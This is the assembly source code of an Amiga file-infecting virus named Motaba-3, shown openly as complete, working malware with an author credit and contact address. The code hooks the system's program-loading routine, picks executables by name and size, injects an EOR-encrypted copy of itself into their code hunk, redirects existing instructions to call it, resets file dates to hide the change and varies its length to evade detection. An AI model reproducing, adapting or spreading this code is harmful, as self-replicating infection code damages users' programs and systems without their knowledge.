; .------------------------------------------------------------.
;( Full and checked source code for Motaba-3 linkvirus          )
; --------------------------------------------------------------

;Made by Pandamen!

OpenLibrary	=	-552
AllocVec	=	-684
FreeVec		=	-690
CacheClearU	=	-636
CopyMemQuick	=	-630
Lock		=	-84
UnLock		=	-90
Examine		=	-102
Info		=	-114
Open		=	-30
Read		=	-42
Write		=	-48
Close		=	-36
SetFileDate	=	-396

Instruction	=	$4eaefdd8
CodeHunk	=	1001

MinimalSize	=	2048
MaximalSize	=	1024*100

VirusLen	=	848
Longlen		=	212


	section	code,code
	move.l	4.w,a6
	move.l	#EndOfHappy-Begin,d0
	move.l	#cc-patch,d1
;	rts


NormalProgram:
	bsr.w	Crypter
	bsr.b	RealBegin
	nop
	nop
	nop
	rts


Begin:
	pea	Place2(pc)
	bra.b	RealBegin
	pea	Place(pc)
RealBegin:
	movem.l	d0-a6,-(sp)		;Store registers
	lea.l	Sign(pc),a0
	tst.w	(a0)
	bne.w	Exit
	

	move.l	4.w,a0
	cmp.w	#38,$14(a0)
	bmi.w	Exit

	bsr.b	Crypter

	moveq	#16,d0			;16
	lsl.l	#8,d0			;4096

	bsr.w	AllocVector

	move.l	d0,a5
	beq.w	Exit

	lea	$17a(a6),a0	;LibList
	lea.l	DosName(pc),a1	;DosName
	jsr	-276(a6)	;FindName
	move.l	d0,a4

	move.l	a5,a1
	lea.l	Begin(pc),a0
	
	moveq	#16,d0			;16
	lsl.l	#8,d0			;4096
	jsr	CopyMemQuick(a6)	;Copy of virus code
	lea.l	Sign(pc),a1
	st.b	(a1)
	jmp	[Copy-Begin](a5)	;jump to calculated address
Sign:	ds.w	1
Hide:
	lea.l	Begin(pc),a0
	move.l	a0,d2
	
	dc.w	$263C,$0000	;move.l	#VirusLen,d3
blen:	dc.w	VirusLen

	move.l	d6,d1

	lea.l	CryptKey-20(pc),a0
	addq.w	#1,20(a0)

	bsr.b	crypter
	jsr	Write(a6)
	
Crypter:				;simply EOR (de)crypter
	movem.l	d0-d7/a0-a6,-(sp)

	lea	Testy(pc),a0
	lea	CryptKey(pc),a1
	move.w	(a1),d0
.loop:
	eor.w	d0,(a0)+
	cmp.l	a0,a1
	bne.s	.loop
	
	move.l	4.w,a6
	jsr	-$27C(a6)		;CacheClearU

	movem.l	(sp)+,d0-d7/a0-a6
	rts
	
Copy:
	lea.l	Sign(pc),a1
	clr.b	(a1)
	lea.l	Patch(pc),a1
	move.l	a4,[DosBase-Patch](a1)

	lea.l	-$94(a4),a2		;Get LoadSeg
Testy:
	cmp.b	#$ff,1(a2)
	blt.b	OK

Fre:	move.l	a5,a1
	bsr.w	QQ

	bra.b	exit
OK:
	cmp.b	#$f0,1(a2)
	blt.s	Fre

	move.l	(a2),[Jumper-Patch](a1)
	move.l	a1,(a2)
	
	moveq	#10,d0
	lea.l	Krzaki(pc),a1
.loop:
	move.l	(a2)+,(a1)+
	dbf	d0,.loop
Exit:
	movem.l	(sp)+,d0-a6
	rts
	dc.b	"MOTABA-3"
Patch:
	move.l	a1,-(sp)
	lea.l	Space(PC),a1
	move.l	d1,(a1)
	move.l	(sp)+,a1

	dc.w	$4eb9		; Jump to original LoadSeg
Jumper:
	dc.l	0

	bra.b	Crm
AllocVector:
	move.l	4.w,a6
	moveq	#0,d1
	jmp	AllocVec(a6)		;Alloc memory for virus code
cc
	ADD.W	#$1E,A0			;pos 28=1c
	CMP.L	#$43724D2E,(A0)+
Dosname:
	dc.b	'dos.library',0
Crm:

	;tst.l	d0
	;beq.w	Quick

	bsr.b	slowPoly
	
	movem.l	d0-a6,-(sp)
	
	move.l	Dosbase(pc),a6
	
	lea.l	-27(a6),a4		;Get Open

	cmp.b	#$ff,(a4)
	blt.b	Invisible
	bra.b	Exit
Invisible:
	cmp.b	#$f0,(a4)
	blt.b	Exit

	bsr.b	Main
	bra.b	Exit
	
Place:	dc.w	$4eee,$0000

Main:
	move.l	Space(PC),a0
	move.l	a0,a4
.loop:
	tst.b	(a0)
	beq.s	NameTested
	
	cmp.w	#".l",(a0)
	beq.s	Quick

	cmp.b	#"-",(a0)
	beq.s	Quick

	cmp.b	#"V",(a0)
	beq.s	Quick

	cmp.b	#"v",(a0)+
	beq.s	Quick
	
	bra.b	.loop

Place2:
	jmp	-552(a6)

SlowPoly:
	;slow length polimorphism routine
	;works if:
	;filename contains letter "l"
	;depending on bit #2 of counter/cryptkey the
	;length is increased or decreased by 4.
	;The changing range is +/- 40 bytes.
	
	movem.l	d0-a6,-(sp)
	move.l	Space(PC),a0
.loop:
	tst.b	(a0)
	beq.s	EndOfPoly
	cmp.b	#"l",(a0)+
	bne.s	.loop

	lea.l	LLen(pc),a1
	lea.l	Blen(pc),a2

	move.w	CryptKey(pc),d0
	btst	#2,d0
	bne	Decrease

Increase:
	cmp.w	#LongLen+10,(a1)
	beq	EndOfPoly
	addq.w	#4,(a2)
	addq.w	#1,(a1)
	bra.b	EndOfPoly

Decrease:
	cmp.w	#LongLen,(a1)
	beq	EndOfPoly
	subq.w	#4,(a2)
	subq.w	#1,(a1)
EndOfPoly:

	move.l	4.w,a6
	jsr	-$27C(a6)		;CacheClearU

	movem.l	(sp)+,d0-a6


Quick:
	rts
	
NameTested:
	move.l	DosBase(pc),a6
	move.l	a4,d1
	moveq	#-2,d2
	jsr	Lock(a6)
	move.l	d0,d7
	beq.s	Quick
	lea.l	*+$34e(pc),a5	;pointer to free memory
	lea.l	FIB_Base(pc),a0
	move.l	a5,(a0)
	move.l	d7,d1
	move.l	a5,d2
	jsr	Examine(a6)	
	move.l	d7,d1
	lea.l	$200(a5),a3
	move.l	a3,d2		;overjump FIB given by Examine

	jsr	Info(a6)
	move.l	d7,d1
	jsr	UnLock(a6)

	cmp.w	#$52,10(a3)	;disk state
	bne.b	Quick

	move.l	12(a3),d0
	move.l	$10(a3),d1	;num blocks used

	moveq	#4,d2
	sub.l	d1,d0
	cmp.l	d2,d0
	blt.s	Quick

	move.l	$7c(a5),d5
	;and.l	#$ffff,d5
	cmp.l	#MinimalSize,d5
	blt.s	Quick

	cmp.l	#MaximalSize,d5
	bgt.b	Quick

	move.l	d5,d0

	bsr.w	AllocVector

	move.l	d0,d7
	beq.b	Quick
	move.l	DosBase(pc),a6
	move.l	#1005,d2	;OldFile

	bsr.w	Opener
	move.l	d0,d6
	beq.b	Quick

	move.l	d6,d1
	move.l	d7,d2
	move.l	d5,d3
	jsr	Read(a6)
	
	bsr.w	Closer

	move.l	d7,a3

	dc.w	$283C,$0000	;move.l	#longlen,d4
LLen:	dc.w	longlen

	lea.l	$14(a3),a0
	move.l	(a0),d0
	add.l	d4,(a0)

FindCodeHunk:
	move.l	(a0)+,d1
	subq.l	#8,d1
	cmp.l	#CodeHunk-8,d1
	bne.s	FindCodeHunk

	cmp.l	(a0),d0
	bne.w	NoCloser

	move.l	(a0),d1
	move.l	d1,d0
	add.l	d0,d0
	add.l	d4,(a0)+
	lsl.l	#2,d1
	add.l	d1,a0
	move.l	a0,d4
	move.l	a0,d1

	move.l	#instruction,d2
	move.l	d4,-(sp)
SeekInstr:
	movem.l	d0,-(sp)
Looker:
	subq.l	#2,a0
	cmp.l	(a0),d2
	bne.s	.none
	
.MakeBSR:
	move.l	d1,-(sp)
	move.l	#$61000000,(a0);calculation
	sub.l	a0,d1		;for
	subq.l	#2,d1		;new bsr.w
	add.l	d1,(a0)
	move.l	(sp)+,d1
	moveq	#0,d4
.none
	subq.l	#1,d0
	bne.s	Looker
	movem.l	(sp)+,d0
	swap	d2
Looker2:
	cmp.w	(a0)+,d2
	bne.s	.none
.MakeBSR:
	movem.l	d1/a1,-(sp)
	lea.l	Place+2(pc),a1
	move.w	(a0),(a1)
	subq.l	#2,a0
	move.l	#$61000000,(a0)	;calculation
	sub.l	a0,d1		;for
	addq.l	#4,d1		;new bsr.w
	add.l	d1,(a0)
	movem.l	(sp)+,d1/a1
	bra.b	.okay
.none
	subq.l	#1,d0
	bne.s	Looker2
.okay:
	moveq	#0,d0


	tst.l	d4
	beq.b	Infect
	
	move.l	(sp)+,a6
	bra.s	NoCloser

Closer:	
	move.l	d6,d1
	jmp	Close(a6)
Opener:	
	move.l	a4,d1
	jmp	Open(a6)
	
Infect:
	move.l	(sp)+,d4
	move.l	#1006,d2	;NewFile
	bsr.b	Opener
	move.l	d0,d6
	beq.s	NoCloser

	move.l	d7,d2
	move.l	d4,d3
	sub.l	d7,d3
	bsr.b	Writer
	
	bsr.w	Hide
	
	move.l	d4,d2
	add.l	d7,d5
	sub.l	d4,d5
	move.l	d5,d3
	
	bsr.b	Writer
	
	bsr.b	Closer

	move.l	Space(PC),d1
	move.l	Fib_Base(pc),a1
	lea.l	132(a1),a1
	move.l	a1,d2
	jsr	SetFileDate(a6)
	
NoCloser:	
	move.l	d7,a1
QQ:	move.l	4.w,a6
	jmp	FreeVec(a6)

	dc.b	"[Ask for more: motaba@poczta.wp.pl!]"

CryptKey:
	dc.w	$0001
Writer:	
	move.l	d6,d1
	jmp	Write(a6)
EndOfHappy:

Space:		dc.l	0
Dosbase:	dc.l	0
FIB_Base:	dc.l	0
Krzaki:
	ds.l	4000